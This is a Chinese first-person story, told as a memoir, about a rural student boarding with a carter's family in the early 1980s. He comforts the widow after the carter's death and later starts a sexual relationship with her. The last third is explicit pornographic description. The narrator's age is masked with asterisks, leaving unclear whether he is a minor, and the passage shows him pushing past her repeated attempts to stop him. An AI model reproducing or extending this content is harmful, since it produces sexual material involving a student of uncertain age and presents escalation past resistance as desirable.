我的老家在乡下。1980年7月,我考入距家17华里的县7中。这是一所重点中学,虽然面向全县招生,可除了分片和走后门入学的外,鲜有考生能凭学习成绩进入。只有我们10几个成绩特别优秀的才有幸就读。说是县中,其实校址在一个乡政府所在的小镇上。校舍破烂不堪,但比起我读书的小学还是好多了,至少房子排列的很整齐,而且还有一个全镇最大的操场。大多数学生是官宦子弟,尽管学校给他们提供了更多的帮助,比方几间不大的宿舍都分给他们,但对我们这些凭实力考入的学生还是给了足够的重视。一是把我们每班分一个,既可作为同学的榜样也方便老师辅导;二是明确我们可以做课代表不允许担任班干部;三是暗地嘱咐老师们对我们在学习上给以特殊的关照。鬓发班白的老校长在单独给我们开会时说:“……现实就是这样,我也没办法,你们是学校的宝贝疙瘩,学校的这快牌子就靠你们撑着了……”最后的几句话明显带着幽怨、凄凉和无奈。老校长是上世纪30年代出生的人,文化不高却很有正义感和人情味儿,我们都很感动。
开始,我们骑自行车来回奔波,可入秋后天越来越短,还没放学天就黑了。学校让几个女生挤在女老师宿舍,而我们几个男生实在没办法。那天校长和教导主任把我们几个叫到一起说:“唉!怎么办呢?看你们这么起早贪黑我心里也不是滋味啊!再说也不安全。你们在镇上有没有亲戚?能不能投靠一下?开了春天长了就好办了。”
几天后同学们都投亲靠友了,偏我在镇上乃至镇周围没有亲戚。只好继续起早贪黑。又过了几天老校长找到我说:“以前在我们学校驻校的老贫农家里有地方,老贫农是没了,他儿子很憨厚,同意你到他家去住。你自己带上粮食,学校有煤,乘没人的时候你推一车去,如果有人问你就说我让推的……”
周六的下午,我推着自行车正准备回家,老校长看见了,有点不高兴的说:“给你说好了的为什么不抓紧办?”
“我想回家先把粮食带来。”
“恩,这样吧,今天我送你去认门儿,明天你带粮食来自己去。”老校长说完指着教师食堂门旁的手推车说:“去把车推来。”
老校长亲自操锹和我一起选大块煤满满装了一车向老贫农的家走去。边走边嘱咐我:“别贪玩,要有眼色,学习之余帮人家做点活……”
说实话,由于自幼没离开过家,到老贫农儿子家住我并不大情愿,但我不能违逆老校长的一片苦心。扣响门环后,一个中年女人开了门,一看见校长就热情的说:“校长来啦,快进来。”又看见了我:“呦!多俊的小子啊。还推煤干什么?咱家不缺烧的。”
校长简单介绍了几句我的情况,又当她面嘱咐我几句我们就出了门儿。
周日下午,我驮着粮食来了。女人热情的接过粮食袋子打开口儿说:“多好的小米啊,哦,还有白高粱米呢,可得好好学习,要不就对不起家里了。”
老贫农的儿子也在家,他粗门大嗓的说:“以后粮食得拿,不能白吃,煤就免了,咱家不缺那玩意儿。”说他直率是确切的,说他憨厚有点不准确。其实他很暴躁。开始,我根据自家兄弟姊妹的年龄试图叫他哥叫女的嫂子,被他断然拒绝:“不能那么叫!你才多大个小人儿?叫叔,叫婶子!”于是我开始叫老贫农的儿子为叔,叫他的妻子为婶。我成了他家编外成员。他们有一儿一女,儿子9岁,在镇东头的小学读书,女儿刚会呀呀学语。
“叔”那年36岁,是个车老板,长的五大三粗,没什么文化,张口闭口都“操!”总也见不到他的笑脸,没事的时候喜欢训我。一天晚上,他进门看见院子扫的很干净,把鞭子往门后一扔说:“操!鸡吧农村人院子整那么干净干什么?有那时间写几个字好不好!”我有点怕他。
“婶”是个很贤惠的女人,她从不大声说话,每当叔训我的时候她都看着我笑,即使训冤枉了她也不替我辩解。大概我那个时候正是生理逆反期,不管婶怎么表示亲近我都反感,特别是看见她穿着衬裤摇摆着丰满的臀部走动的时候更烦的厉害。[最令人讨厌的是他们的儿子,总翻我的书包,有时候还缠着我给他写作业。一次他摆弄我的钢笔,不小心掉地了,摔劈了笔尖,把我恨的真想揍他。倒是他们的女儿我喜欢,白白的胖胖的,还不会给我捣乱。一次大人都出去了,把正熟睡的她放到我的炕上,我边学习边看着她。一会儿她醒了,大概看见妈妈没在跟前咧嘴正要哭,忽然看见身边有个苹果,便费力的翻转身伸着小手去抓。她手小苹果大,她一抓苹果向前滚动一下,她手脚并用费很大劲向前蠕动一下再抓,可苹果又向前滚动一下,抓来抓去,终于苹果被她撵掉到地上了,于是她便大哭起来。我顾不上笑,慌忙把她抱起来模仿大人的动作悠着、哄着。我喜欢抱着她玩,可不能让叔看见。他看见了就会说:“喜欢抱孩子的老爷们没成色!”
现在回忆,对那个寄宿年代充满了感激,可当时因为我刚刚离开家,对外面的世界一点不了解,所以生活的很不轻松,唯一感到满足的是,每当我从家回来或回家之前,都能在“叔”家吃一顿雪白的大米饭或白面馒头。我家在山沟里,没有水浇地,一年到头除春节外难得见到细粮。而镇政府所在地是平原,出产大米和白面,尽管为了多打粮食种的稻子和麦子并不多。第一次吃大米饭的时候我有些难堪,转悠着想溜走。“叔”说:“操!吃你的得了,吃什么你也管!”
由于学习环境优越生活条件好,我不仅学习始终是尖子里的尖子,身体也象气吹的一样疯长。到初san的时候刚满1*岁的我身高已经1.78米了。“叔”唬着脸说:“操!好东西都让你吃了。”
天有不测风云,也就是这年冬天,“叔”在一次拉石头的时候马惊了,满载石头的马车从他身上轧过,送到医院不久就去世了。
对于“叔”的去世我的感情很复杂,虽然后来他在外出拉脚的时候不知从那里打听到我们还有转了好几道弯的亲戚,在他的强制下我称呼他们为表叔、表婶,实际上八秆子也表不上,亲情是没有的,加上他总训斥我,对于自尊心极强的我来说难免沉淀一些积怨,甚至瞬间产生一种庆幸心理---以后没人再训斥我了。但这种心理一闪既逝。一来毕竟在一起生活了2年多,尽管他训斥但从没影响我的学习和生活;二来他家发生这么大变故我能否继续寄宿还是未知数,难免有些顾虑;特别是对于这个家庭今后将如何存在充满担忧与同情。我不会表达感情,每当表婶哭泣的时候我就走进她的房间默默的站在她面前,直到她停止哭泣。烧“五七”那天我回去的较晚,到家后听他们尚不谙世事的小女儿说:“妈妈给爸爸送钱去了。”我没顾上吃饭便赶到村头,表婶哭的气息哽咽,任谁都劝不了。我仍然默默站在她旁边,有人说:“别哭了,你家的学生来了。”表婶真的逐渐停止了哭泣,半晌问我:“吃饭了吗?”“吃了。”我答。或许我的这种无声劝慰胜似有声,以后很少听见表婶的哭泣,应该说这期间不管愿意不愿意,不管是否出于感情我都在分担表婶的巨大悲痛。饭菜依然可口,甚至细粮比以前还多了。火炕依然温暖,由于他们的儿子回到他们的房间我由炕梢挪到炕头。但再没有了训斥声,没有了欢笑,曾经不绝于耳的“操”彻底消失了。表婶整天沉默寡言,孩子们似乎瞬间长大,静静的学习,静静的吃饭,静静的睡觉。时光在沉默中静静的流失。
寒假到了,放假那天已经腊月23了。在学校开完会我没直接回家,而是来到“表婶”家。出于多种考虑,我准备回家住。到表婶家后我先是拼命劈了一大堆木柴,然后又将水缸压满水,最后把院子扫的干干净净。表婶一直狐疑的看着我。一切就绪后我走到表婶面前:“表婶,明年开春天就长了,我想回家住。这么长时间麻烦您了,将来……将来我会报答您。”不知为什么说这番话的时候我忽然心里酸酸的,言语有些哽咽。
婶听后默默的坐在灶前,没等说话眼泪一串串滴在地上。忽然她抬起头,脸上甚至带着笑:“我知道你要走了,走吧!这个阶段家里太乱,委屈你了。”
表婶的笑让我感到心悸,我赶忙解释“不……”
“唉!不用解释……家里这个样子,你学习也受影响。
诚如表婶所说,她娘家没几个人又离的远,表叔在世的时候脾气不好得罪不少村里人,孩子又都小,以后生活的艰辛可想而知。
30那天,家乡充满年的氛围。我和小伙伴们上完坟回到家里已经接近中午。看着到处花花绿绿的对联、挂钱儿和满灶间的菜肴,忽然想到“表婶”,在万众欢庆的时刻他们是个什么样子呢?小弟还吵着要炮仗吗?小妹有花衣服吗?表婶是不是又坐在炕上哭?刹时婶的千般好处齐集心头,情绪立即一落千丈,独自默默的坐在台阶上出神。欣赏完年画的爸爸从屋子里出来看见了我,诧异的盯着问:“怎么了?怎么了?哪不舒服?”见我不回答便有些急:“说话啊!你这小子!”妈妈听见了扎撒着沾满白面的手走出来,哥哥、嫂子、姐姐都拿着他们各自分工的活计围了过来。
我知道这种情况不说明白爸爸是不会善罢甘休的,爸爸爱子女,小病小灾他到不怎么在意,他最怕子女在外面受欺负,连妈妈都说他“护犊子”。此时随着年龄与学识的增长我已经能够完整的表达主观意念和客观事物,当我绘声绘色讲述了“表婶”对我的好处以及她家的遭遇,妈妈、嫂子和姐姐眼圈都红了。沉默片刻爸爸忽然说:“你去一趟,带上点年货,如果晚了就在那里住下明天早点回来。”妈妈不满的说:“大过年的,别人跑一趟不行?非得他去?”
哥哥听妈妈说完便说了句“我去”,然后到屋里换衣服。
爸爸说:“谁去能代表他?让他去吧,这么大了,要懂得知恩图报。”
于是,我带上妈妈和嫂子准备的一面口袋豆包、年糕、冻豆腐,还有一串自己采集的蘑菇骑上自行车风驰电掣的向“表婶”家奔去。
到“表婶”家大概是吃年饭(下午3点左右)的时候,推开虚掩的大门没有对联与挂钱儿,院子里随风滚动的枯枝败叶更增添了几分凄凉。我扛着面袋子进了冷冷清清的堂屋。大概是表婶听见了门响,带着悲怆之音问了句:“谁啊?”
“我!婶,我来了!”
婶掀开门帘,蓬乱着头发诧异的瞪大了眼睛:“你怎么来了?”
“我来看看你,来陪你过年。”
婶的眼泪立时淌了下来。
进了屋,小弟坐在饭桌前写作业,此时正瞪着大眼睛显得很陌生的看着我。小妹则牵着妈妈的衣襟亦步亦趋的跟着转。
我知道我不是为送年货才来的,我的主要任务应该是调节这近似僵固的空气。想了想我问:
“婶,做饭了吗?”从表叔去世后我对她就简称为婶了。 “你还没吃饭?”
“是,再说,你们也得吃。”
“好,我给你们做饭。”
婶说完来到灶间,我跟着出来,很老练的对婶说:“婶,我理解你的心情,叔已经走了,咱们还要过,同时弟妹还小,不能在他们幼小的心灵留下过多的阴影。”或许是我的话触动了婶的慈母之心,婶欣然道:“对,我们还要过,咱们过年!”
我回到屋里对已经流露出欣然之情的小弟说:“走,我带你们去买炮仗。”小弟乐得一下子窜在地上,小妹则喊着:“我也去!”
毕竟都是孩子啊!我感慨着抱起小妹领着小弟向门外走。婶似乎已经从悲怆的境遇里挣脱出来,脸上露出了久违的笑容:“我给你拿钱去!”
“我有钱!”
是的,我有钱。每当过年的时候,家里或其他直系亲友都会给我压岁钱,尽管很少但那个时候物价极低,500头的鞭炮只需几毛钱。来到镇上仅有的商店,早已闭店了,是啊!今天是春节,人们都早早回家过年了。看着弟妹失望的眼神,我决心不让他们失望。我想回家去取,把他们送回家让他们等,骗他们说到另一个地方去买。在骑上自行车向家赶的时候我想,拿鞭炮肯定没问题,可往返需要近两个小时,看来在自己家过年不可能了。说实话,我并没想在婶家过年,最多晚点回家。因为过年没有在父母面前更温馨的了。边走边注视路两旁,希望看见挑着担子的小贩。小贩没看见,路过同学苗XX家的时候我突发奇想,和他借不好吗?一种强烈的心情驱使我在他家门前下了车。当我刚迈进同学家的门,苗XX就从窗户的玻璃里看见了。他一惊一乍的跑了出来:“哎呀,你干什么来了?”
在这个比较特殊的学校里,同学间的交往充分体现了人以群分物以类聚的哲理。那些官宦子弟自恃有钱有势,总是盛气凌人趾高气扬的;我们这些凭实力考入的学生虽然穷,但因为学习优异又看不起他们。那些分片进入的学生没有可资炫耀的本钱,自然就成了最不起眼的下等人。我的不速造访似乎使苗XX很有面子,所以他显得特别殷勤。我说明来意后苗XX爽快的说:“借什么借,我多的很,给你一半。”说完就进屋去拿。苗妈妈听说了原委也走了出来,有些动情的说:“多好的孩子,还要别的什么吗?”不管我要不要老人家都装满一手巾兜大枣、酸梨、苹果什么的硬塞在我手里。苗XX拿出鞭炮后还感到少点,但自己的又舍不得再拿了,琢磨一会儿说:“你等会儿。”说完骑上我的自行车飞也似的跑了。片刻又气喘吁吁的返回来,手里拎一嘟噜鞭炮。他边下车边说:“在张X那抢的,他比我还多呢。”他将所有的鞭炮装在一个竹筐里塞给我。我有点难堪。他见我犹豫便连推带拽的向外撵我,说:“你先走,我吃完饭就去!”话音未落他已经窜进屋了。
回到婶家,小弟忙不迭接过竹筐,未几,院子里荡漾着新春的信息。
小妹则蹲在门槛边扒拉着兜里的水果,不时告诉妈妈都有什么。婶则亦悲亦喜的看着我们,手里不停的拉动着风匣。婶家的生活并不困难,只是因为心情不好没准备年货,大概此时婶感到有些愧对孩子吧?眼里流露的是无比慈爱的光。
正当我拿起扫帚准备扫院的时候,苗XX带着几个同学熙熙攘攘的来了,意想不到的是,平时从没有语言沟通的两名女同学也扭捏着走进了院。不待吩咐,人们自运行起来,有的扫院,有的压水,两个女同学挽起袖子擦拭屋子里的灰尘。苗XX虽然学习不好但对电有特殊的爱好,他逼着婶从破烂堆里找出一堆硬质电线,从屋子里扯出挂在院子里的枣树上,装上灯头,拧上灯泡,一打开关,亮了。他又煞有介事的将电线富余的地方盘成各种图案,冷眼看去刹是好看。那个个子最小的同学叫什么名字我已经忘了,他看到万事具备只是没有对联便吵嚷着要回家取,说他家剩余不少呢。婶笑着阻止,他以为婶不好意思,便同我要自行车。我笑着对他使个眼色,他“哦,哦”两声便不在言语了。我懂,“慎终需尽三年礼,追远常怀一片心”。三年内婶家是不能披红挂绿的。
院子本来就小,房间也不大,不一会儿所有的活都干完了,正高速运转的几双手和几个大脑忽然停下来有点手足无措。苗XX盯着问婶:“还有什么活?还有什么事?”
“真的没活了,吃饭吧!”婶说。
“我们都吃过了。”同学们异口同声。
“那就少吃点,尝尝婶的手艺。”
我也饿了,而且看到小弟小妹饥肠辘辘的样子知道不好在推脱就劝说大家:“都少吃点!”
桌子小,人多。大家站着的坐着的吵吵嚷嚷围在一起,一忽儿就吃完了饭。没等收拾家什,苗XX就喊:“放炮仗去,人们一下子拥到院里。”此时已经暮色苍茫,邻居的灯已经点上了,我们也打开电灯,院子里顿时雪亮。人们放鞭的,点花的,摔炮的,欢歌笑语充斥小院。左右邻居不知是羡慕还是嫉妒,不时从墙头探过头来。我知道,叔在世的时候和邻居的关系不好,此时婶是需要有人来撑门面的。果然,我看到婶的脸上流露着一种满足。
苗XX正聚精会神的点一个“二踢脚”(双响),婶忽然大声对他说:“根子(苗的乳名)。”
“哎!”苗XX并没回头,只是将耳朵支向婶的方位,手仍然鼓捣那个二踢脚。
“求你个事!”
“说!”二踢脚已经点燃了,苗XX趔趄着身子伸着左手等待二踢脚炸响。
“你们几个把我们送回去呗?”婶的这个“我们”把我也弄懵了。
“砰……咣!”二踢脚上了天。
苗XX甩了甩被震麻了的手诧异的问:“谁?”
“思揩!”婶指着我说。
苗XX将狐疑的目光移向我。
我知道,如果留下来婶会很高兴。但家、父母对我的吸引力没有力量可以匹敌。婶深深知道这一点,所以她求同学们送我回家。
苗XX见我没有表态,读懂了我的心:“操!你不在这过年啊?”
这一声“操!”震撼了我和婶的心。自“叔”去世这个院子里在没有了这个字。我每天和同学在一起自然不鲜于听到,只是此时此刻触景生情。而婶整天大门不出二门不入是不会听见这个近似下流又流传甚广的国骂。这个字伴随她十年,忽然销声匿迹她将会是什么心情?我不由自主将目光转向她,果然她的脸色黯然下来。这一场景几乎动摇了我回家的决心,只有苗XX不明就里仍就吵吵着:“那就走吧,我还想和你打扑克呢。”
我偷眼观察婶的表情,发现她的脸色逐渐缓和下来,笑容重新挂在脸上,不管是否强颜欢笑便给她拜早年并告辞。
婶说:“你跟我来一下。”
我随婶进了西屋,婶将我拿来的面袋子倒出来,装上大米和花生,又从兜里摸出5元钱塞给我。看着婶极庄重的脸色我没敢推辞,只是心理涌出一阵难以名状的酸楚。从西屋向外走的时候婶说:“过了年你还是……来吧!”
语音里有悲伤,有渴望,有期待,有哀求。
“我来!”
在人们向外送我的时候我乘婶不注意悄悄对两个女同学说:“求求你们,多待一会儿好吗?”最后几个字明显带出悲戚。女同学本来爱哭,听了我的话立时眼里充满了泪,只是用力的点点头……今年是初san年级的中考年,学校要求初san的学生正月初七就要返校。
我本拟初七早晨早点走,妈妈提醒我说:“既然还到人家去住不如就早一天去,到那帮人家干点活,没事的时候去给你“叔”上上坟,大过年的,上坟只能中午上,别的时间不管用。”
说实话,这几天疯玩把婶家都给忘了。妈妈的话提醒了我,我催着他们给我打点行装,上午10点多重新回到婶家。
婶听见院子里车铃响就迎了出来,看见是我,不无欣喜的说:“我估摸着你该来了。”我给婶拜年,装做要跪下去的样子(农村近亲拜年都要磕头),婶一把拽住我说:“快不要这样,留着我侄儿长个儿吧。”结果我只是一揖了事。婶边埋怨我不该带这么多粮食边帮我将粮袋行李往房间搬。进屋后婶问了我父母的好,介绍了年30我走后的情况:“那天你走后,那两个女的没走,那几个男同学返回后也来到了咱家家,他们打扑克,玩跳棋,一直闹到发纸(迎财神)才走。正月这几天他们也三三两两的来过。我嫁到他家11年,今年过年是最热闹的,什么愁事都忘了。”婶边说边拍拍我身上的灰尘:“看来你不仅学习好,人缘也满不错呢!”
说完话婶开始做午饭。我见没什么活干便叫上小弟走出家们。婶以为我们是出去玩,就嘱咐说:“快点回来,饭一会儿就好。”
小弟虽然只有十岁,自从没了父亲他似乎一夜之间长大了。不仅好好学习而且经常抢着帮妈妈做力所能及的家务。
回来的时候,远远看见婶在大门口张望,见到我们似忧似怨的说:“跑哪去了?饭都凉了。”当看清我的表情和小弟的泪痕她明白了,有些感激的将我们让进屋里。饭后婶以商量的口气对我说:“思楷,西屋的炕好长时间不烧了,屋子很冷,咱娘几个就在这一铺炕上睡好吗?”
见我有些腼腆和犹豫,她又说:“我是你婶儿,怕什么?一来少烧一铺炕节省柴禾,咱们在一起屋子显得暖和;二来你叔走后我有点害怕……”
我到没别的想法,主要是想,开学后我的学习会很紧张,每天学习的很晚影响她们休息,同时也怕两个孩子捣乱。当时,高中很少,大多数初中Sheng考不上高中,尽管我心里有底,可压力依然存在。婶既然这么说了,我还能说什么?便爽快的答应了。晚上婶将我安排在炕头,小弟挨着我,她则在最炕稍。事实上婶说的是对的,在一铺炕上既节约了柴又使房间显得格外温暖,两个孩子婶约束的很严,他们从来不干扰我的学习。每当夜静更深,她们娘三睡了,我便放上炕桌挑灯夜战。进入了夏季后我曾提出到西间独居,婶以夜间害怕劝阻了。经过这场变故,特别是春节后,婶对我几乎无微不至。每天都将饭菜放在锅里,嘱咐我饿了就自己去吃。后来见我从来不动锅里的东西,她便半夜时披衣起来,给我几块点心或冲碗麦乳精。每当此时,我都会报以感激的一笑然后继续埋头学习。
从初san下学期到高*上学期近一年的时间里,我们就这样既温馨又和谐的度过来。
中考前我曾经有过激烈的思想斗争。按家里的意思是要我报考县一中,我也向往那里,那是全县最好的学校,以我的成绩,考入应该没问题。但每月15元的伙食费和住宿费让爸爸犯了愁。老校长自然希望我考本校高中。他在考前召集我们开会说:“就名声来说我们没有一中牌子硬,但就几个主要任课老师的水平绝不比一中差,你们的成绩拿到一中也是尖子生。我们的学生成绩参差不齐这是社会原因。这里有个问题,你们到一中没人认识你们,你们就是普通学生,在这里你们就是宝贝疙瘩,我会动用一切力量培育你们。这不是我名利思想严重,每年走后门来的太多了,让我这个校长没法当。如果不采取这种办法我们这个重点学校用不了两年就得垮台。在过几年我就退休了,我什么也不怕了。不管怎样,我要让那些凭学习成绩上来的有个好结果,否则就对不起你们的家长。你们回去和家长商量一下,再好的学校也有坏学生,再坏的学校也有好学生。而且在本校读书还可以节约一笔经费。”
老校长的话其实已经坚定了我报考本校的决心,可回到婶家我还是煞有介事的征求她的意见。并明确表示我要考一中。听我介绍完情况,她沉默半晌,最后幽幽的说:“想去就去吧,学费不是问题,我给你拿。”
我很感动,不忍心在骗她:“其实我早已下决心了,就考本校。”
婶儿抬起头,怔怔的看我半晌,忽然红了脸咬着牙用手中纳着的鞋底狠狠的拍了我一下:“说,是不是舍不得婶儿?”
“有这个因素。”我边笑着躲闪边如实的答。
婶儿很兴奋。从我认识她那天起,从没看见她象今天这样毫不掩饰的流露真情。我忽然注意到,其实婶的模样很好看。
在我还犹豫着究竟报哪个学校的时候,小弟悄无声息的考进了县一中初中部,开始住校。我虽然比小弟大5岁却因为家离学校远上学晚两年,小弟因家就在学校附近提前上了一年。两下一扯我比小弟只高了三年。
9月1日,我背着书包跨入本校高*一班的门。 那个怪话连篇却很有教学经验的老师成了我的班主任。见我来了,就模仿《红楼梦》里银钏的话说:“凤凰来了,快进去吧!”
高中期间,高*是最松散的一年。虽然学校、老师不断吹风,事实上他们也有意无意的放松了管理。婶家由于叔属于因公伤亡,家里的责任田村里负责耕种,只有属于自留地的菜地才自己侍弄。闲暇时除随婶下地干些活外没有任何负担。我又自恃聪明底子好,于是小学时喜爱的篮球、乒乓球等体育运动又重新拾起来,整天玩的不亦乐乎。婶曾经几次提醒我好好学习。期中考试我仍然是全校第一名,中午我将成绩拿给婶看,婶高兴的搂住我亲了一下。这一异常的亲昵行为,为后来的“难以启齿”埋下了伏笔。
此前,尽管我和婶的感情亲密的近似暖昧,婶儿的一些私生活也不刻意背我,比方在菜地方便的时候她只是梢离开几步背过身便解裤腰带。小弟住校后她晚上起夜也要我做伴。而我从没非分之想,始终认为这是长辈的一种特权。我们始终保持在和谐与纯洁的范畴里。
现在看,这种和谐与纯洁的基础是靠不住的。毕竟她不是真正意义上的长辈。
人,当他的心理逆反期过后随之而来的是渴望解读异性的神秘。随着年龄的增长和性器官与性意识的成熟,普遍有一种跃跃欲试的冲动,这种冲动除受环境、条件影响外主观上主要被传统道德伦理观所束缚。而一旦环境、条件具备,道德伦理无力作用,性就会无处不在。孟子说:“性者,食色也。”大学时期年过半百的老教授讲述生理知识时说得更为直率:“性,是人类乃至宇宙万物繁衍发展的基础,没有性就没有一切。”
我已经*8岁,在这样的环境下,此前除感情隔阂外主要是学习紧张无暇顾忌。当这些障碍消失,面对萍水相逢、风韵绰约、相濡以珠、年仅33岁---差距尚达不到能够抵制异性相吸引普遍规律程度的成熟女性,难免产生觊觎之心。
而婶儿,在经过一年多的调整已经从悲痛的阴影中挣脱出来,生活步入正轨,孩子也都离手(女儿上学前班了),面对威猛高大、朝夕相处、视为知己又萍水相逢的男人,“性者,食色也”的理论同样适用。
婶儿的亲吻,使我顿时产生一种不能自制的亢奋,冲动压倒了理智,婶亲吻后我紧搂着婶儿,以至于在婶柔软光滑的肉体作用下阴茎勃起抵在婶仅一布之隔的腹上。婶儿肯定感觉到了,沉静片刻,她用手指点了我一下额头,然后推开我红着脸说:“一会儿孩子们该回来吃饭了,看让他们碰上。”
事后我虽然惭愧、自责,但却无法抑制对婶儿雪白的酥胸、纤细的腰围、浑圆的臀部的窥视。一种占有欲开始滋生。
我知道,婶儿并不是纯家庭妇女,文化知识上更不是白丁。她是文革初期毕业于江苏无锡的一个中师生,几年前曾在镇东头小学当老师,小弟学习好又上学早都得力于婶的帮助。79年末,在叔的坚持下她又生了了女儿,因超生自行退职。至于为什么江南秀女最终嫁给胸无点墨的村夫,婶儿没说,我也没问,直到今天仍然是个迷。婶儿虽然已34岁又育有一双儿女,但因不参加体力劳动皮肤与身段保养得很好,看上去要比实际年龄年轻。特别是她兼有北方人挺乳肥臀的体貌特点,风姿超约性感逼人。婶儿的这种身份与身材无疑加剧我对她的向往之心。
我的觊觎之心婶能察觉到,但她从没斥责规劝,总是一笑了之。究竟是她贤淑的性格使然还是亦怀春有意放纵我不得而知,我则私之之欲逐渐膨胀,却徒有其心不敢轻举妄动。
下学期开学不久的一天下午,自习课时我发现数学练习册忘带了,便匆匆回去取。打开大门进入院子发现房门也锁着,我以为婶或许自己去了菜地,没有多想便用钥匙打开房门,推门一看,婶一丝不挂,豁然站在堂屋中央洗澡。我怔在那里直直的盯着婶儿白璧无暇的躯体。婶儿忽然惊叫一声蹲在地上,下意识的俩手捂住乳房,毛茸茸的私处却一览无余。见我呆看有些嗔怒的说:“看什么看?进屋去。”
蒙蒙懂懂的我蓦的醒悟过来,慌乱的走进卧室,稳定一下情绪估计婶已经穿好衣服便拿着练习册走出来。婶儿乳房上至膝盖间围个黄色浴巾,神色安然,笑吟吟的问:“你这时候回来干啥?”
本来遭到斥责我羞愧的无地自容,可一见婶儿的神态,加上她裸露着的肌肤,情欲又迅速恢复上来。我没有回答她的话,涎着脸撒娇搬搂住婶的腰用嘴拱她的乳房。婶先是半推半就,正待我鼓起勇气准备进一步动作的时候,婶挣脱我的手说:“别闹了,快去上学,有什么事晚上再说。”
我是不会也不敢强加于她的,何况她说“有什么事晚上说”。这无疑是一种希望。我松开婶儿冲她做了个鬼脸然后回到学校。整个下午我满脑子都是婶儿雪白的肌肤、小巧的乳房和黑乎乎的私处……放学后我婉拒了球皮们的邀请早早回到婶家。婶儿见我回来的早,撇嘴笑道:“早啊!”
我故技重演,放肆的搂住她说:“婶儿,今晚我挨着你睡。”[“去,接你小妹去!”婶儿习惯的点了一下我额头忙着做饭去了。
晚上,我无心学习,9点刚过就喊“困了,睡觉!”
小妹听话,听说睡觉便倒在我们中间一会儿就睡熟了。看着小妹的位置再看看无动于衷的婶儿我有些气恼,故意不理她,袜子也不脱和衣倒头便睡(平时我是穿内衣睡觉)。沉静一会儿婶儿悄声说:“没出息!”边说边将小妹连褥子被子一起向炕稍一推,我们中间就空了出来。我立即转嗔为喜,感激的看着婶儿。婶儿满脸红晕撇我一下,将自己的被褥挪过来,又沉静片刻,长出两口气气然后闭灯、上炕、脱衣、钻进自己的被窝。
如果说灯光下我的行为与意识还需要掩饰,黑暗中一切淫邪都放肆的抖落出来了。我激动、亢奋又夹杂着恐惧,不知过了多久我的手怯怯的从婶儿的被沿悄悄伸入抚摸在她柔滑的乳房上。
婶似乎想推开,但抓住我的手轻轻移动一下后又无力的松开了。蹂躏一会儿我得寸进尺,手逐渐下移,经过婶儿光滑柔软的肚皮触摸到她的短裤,当我试图从短裤边缘探入的时候婶再次抓住我的手,却将我手放在自己乳房上。如是者几次,我奋力挣脱束缚最终摸到那片蓬乱茂密的灌木丛,继而抚在她湿润、柔软的阴部,刹时我象通了高压电一样热血沸腾,不知天为何物我为何物了。我跃起身几把撕扯掉衣服(短裤未脱),掀开婶儿的被子粗鲁的骑在她的身上,手摸着乳房,嘴啃着她的唇和胸,浑身使劲儿扭动。
婶儿摸着我的短裤说:“脱了吧。”我手脚并用蹬掉了短裤,粗大坚硬的阴茎直抵在婶儿的私处,我至今不知道婶儿的短裤什么时候没了。婶一直平静,偶尔发出一两句叹息般的喘息,当她意识到我还不懂怎样性交的时候便侧起身攥住我的阴茎对准自己的一个部位。我稍用力,感到滑溜溜,软绵绵,柔腻腻的一阵惬意,阴茎进入婶儿的体内深处,婶儿和我几乎同时发出“啊”的惊呼。
呼过之后婶儿仍然平静。我以为女人都是这样任凭男人肆虐,当活塞运动进入狂乱无章的境地,第一股精液涌进婶的体内时,她忽然疯狂起来,口中发出压抑的低吟,臀部狂乱的扭动,手忽而搂紧忽而狂推,最为惬意的是随着我射精的频率她的生殖器有力的张、合……天刚亮的时候我醒来,忽然看见我和她仍然一丝不挂的搂在一起不禁大惊,要是被她的女儿看见如何解释?尽管她小,可她会描述与学舌,我慌忙爬回自己的被窝穿上衣服。她也醒了,同样惊恐的环顾一下然后狠狠拧我一把坐起来擦拭满是污垢的褥单儿……按常规,这个时候我们都要起床了。我要早自习,她要为我准备早饭。我根本无心学习,待她穿好衣服到灶间做饭的时候,我跟出来搂住她手从裤腰伸进去,她说了句:”我就知道你没够。唉!我不该跟你这样。”边说边解开了裤腰带。婶生育了一双儿女,生殖器自然要松弛些,插入很容易,但插入后却将我的阴茎吞裹得严滋合缝。又是在射精的时候她进入癫狂状态(多年实践证明,我和她的性最为和谐,几乎每次都同时进入高潮)。
窗户纸已经捅破,两人间的沟壑已经填平,再没有扭捏与羞涩。她除了因为年纪比我大而有些心理障碍外性欲是极强的。当天下午我既没上学,待她刚送孩子回来我便将她抱上炕扒光了她的衣服,尽情的欣赏、玩弄她的生殖器。她也毫不掩饰的捧着我的阴茎亲吻。夜间,本来已经疲惫不堪的我还是悄悄掀开她的被子钻入蹂躏一番。我从此陷入纵欲的泥潭不能自拔。
此段描写有些荒唐、龌龊、下流,但这是事实,既然写了就没有必要在掩饰。相信男女间的性爱特别是初期都应该有同感,最多不过程度不同。我们都不是淫荡的人,后来的事实可以证明,但不淫荡不等于没有没有对性的追求。
她,有一般女性所不具备的可人特点,包括生理特点和性格特点。我经常思忖,这样的一个优秀的女人怎么会沦落成农妇?难道这也是“文化大革命”若的祸?
她没有脾气,不论是对我、对子女还是对素不相识的人都是微笑。她有郁闷、有烦恼也有忧伤但她从不转嫁给别人。她是个弱女子,但在重大变故面前又是那么坚毅镇定。直到今天,已经是负责一个方面工作的官员的我,每当回顾她的细腻、大度、温柔、刚毅,看似矛盾却有机结合在一起的性格特点,我都感叹,自愧不如。
退职后的忧伤与迷茫,丈夫的粗鲁与蛮横,邻里间的尖锐对立,这一切极大损害了她的身心健康。我初识她时头发虽黑却蓬乱、脸蛋儿虽白却憔悴、笑容虽在却苦涩,整天谨小慎微犹如旧时代的女佣或童养媳。自从我进入她的生活,从开始的准母子情怀到情人、准丈夫,她的身心得到全面康复(这是她自己的话)。容貌与过去比已经判若两人。作爱时我曾问:“以前我怎么没发现你这么漂亮呢?”她笑着说:“儿子对母亲的感觉是分不出美丑的。”
事实是,我刚来到的时候很少正眼看她更谈不上端详。所以殷勤、顺从不过是为了生存。我的出现给她的生命注入新的活力这是我自己也想不到的,可她懂。她说过:“一个女人有个可心的男人可以让她永远年轻。”
